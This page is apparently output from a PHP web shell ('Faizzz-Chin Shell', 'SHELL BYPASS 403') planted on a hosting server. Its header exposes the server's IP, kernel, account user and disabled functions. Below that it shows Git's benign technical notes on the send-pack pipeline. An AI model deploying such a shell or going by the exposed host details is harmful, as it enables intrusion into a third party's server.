SHELL BYPASS 403 |
Modern UI. Responsive. Powerful.

Faizzz-Chin Shell

: /usr/share/doc/git-1.8.3.1/technical/ [ drwxr-xr-x ]
Uname\Kernel: Linux server.kxo.bgz.mybluehostin.me 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
Server: Apache
PHP Version: 8.2.28 [ PHP INFO ]
Operating System: Linux
Server Ip: 162.240.163.222
Your Ip: 216.73.216.114
Date Time: 2025-07-11 16:19:55
User: dilseshaadi (1027) | Group: dilseshaadi (1027)
Safe Mode: OFF
Disable Function: exec,passthru,shell_exec,system

name : send-pack-pipeline.txt
Git-send-pack internals
=======================

Overall operation
-----------------

. Connects to the remote side and invokes git-receive-pack.

. Learns what refs the remote has and what commit they point at.
  Matches them to the refspecs we are pushing.

. Checks if there are non-fast-forwards.  Unlike fetch-pack,
  the repository send-pack runs in is supposed to be a superset
  of the recipient in fast-forward cases, so there is no need
  for want/have exchanges, and fast-forward check can be done
  locally.  Tell the result to the other end.

. Calls pack_objects() which generates a packfile and sends it
  over to the other end.

. If the remote side is new enough (v1.1.0 or later), wait for
  the unpack and hook status from the other end.

. Exit with appropriate error codes.


Pack_objects pipeline
---------------------

This function gets one file descriptor (`fd`) which is either a
socket (over the network) or a pipe (local).  What's written to
this fd goes to git-receive-pack to be unpacked.

    send-pack ---> fd ---> receive-pack

The function pack_objects creates a pipe and then forks.  The
forked child execs pack-objects with --revs to receive revision
parameters from its standard input. This process will write the
packfile to the other end.

    send-pack
       |
       pack_objects() ---> fd ---> receive-pack
          | ^ (pipe)
	  v |
         (child)

The child dup2's to arrange its standard output to go back to
the other end, and read its standard input to come from the
pipe.  After that it exec's pack-objects.  On the other hand,
the parent process, before starting to feed the child pipeline,
closes the reading side of the pipe and fd to receive-pack.

    send-pack
       |
       pack_objects(parent)
          |
	  v [0]
         pack-objects [0] ---> receive-pack


[jc: the pipeline was much more complex and needed documentation before
 I understood an earlier bug, but now it is trivial and straightforward.]
© 2025 Faizzz-Chin